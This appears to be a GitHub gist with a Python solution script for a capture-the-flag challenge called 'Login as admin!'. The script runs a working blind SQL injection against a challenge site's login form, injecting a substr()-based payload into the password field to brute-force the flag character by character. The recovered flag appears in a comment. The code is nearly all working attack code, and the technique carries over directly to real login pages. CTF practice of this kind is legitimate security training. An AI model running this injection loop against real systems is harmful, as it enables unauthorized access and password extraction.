Skip to content

Instantly share code, notes, and snippets.

@misodengaku
Created September 9, 2015 18:45
Show Gist options
  • Save misodengaku/ef2ded85a0253f485d3c to your computer and use it in GitHub Desktop.
Save misodengaku/ef2ded85a0253f485d3c to your computer and use it in GitHub Desktop.
Login as admin!
import urllib.request
import sys
# flag = "MMA{cats_alice_band}"
flag = "MMA{"
fl = len(flag) + 1
chars = "}abcdefghijklmnopqrstuvwxyz0123456789-=_.,ABCDEFGHIJKLMNOPQRSTUVWXYZ"
i = 0
while True:
while i < len(chars):
c = chars[i]
postdata = {
"username": "admin",
"password": "' or substr(password,1,%d)=\"%s%s\" -- " % (fl, flag, c)
}
epost = urllib.parse.urlencode(postdata).encode(encoding='ascii')
print("%s%s, %d" % (flag, c, fl))
with urllib.request.urlopen('http://arrive.chal.mmactf.link/login.cgi', data=epost) as page:
t = page.readlines()
out = ""
for word in t:
out += word.decode("utf-8") + ' '
print(out)
if "invalid" in out:
print("wrong")
else:
if c == "}":
print("flag is %s}" % flag)
sys.exit()
flag = flag + c
fl = fl + 1
i = 0
continue
i = i + 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment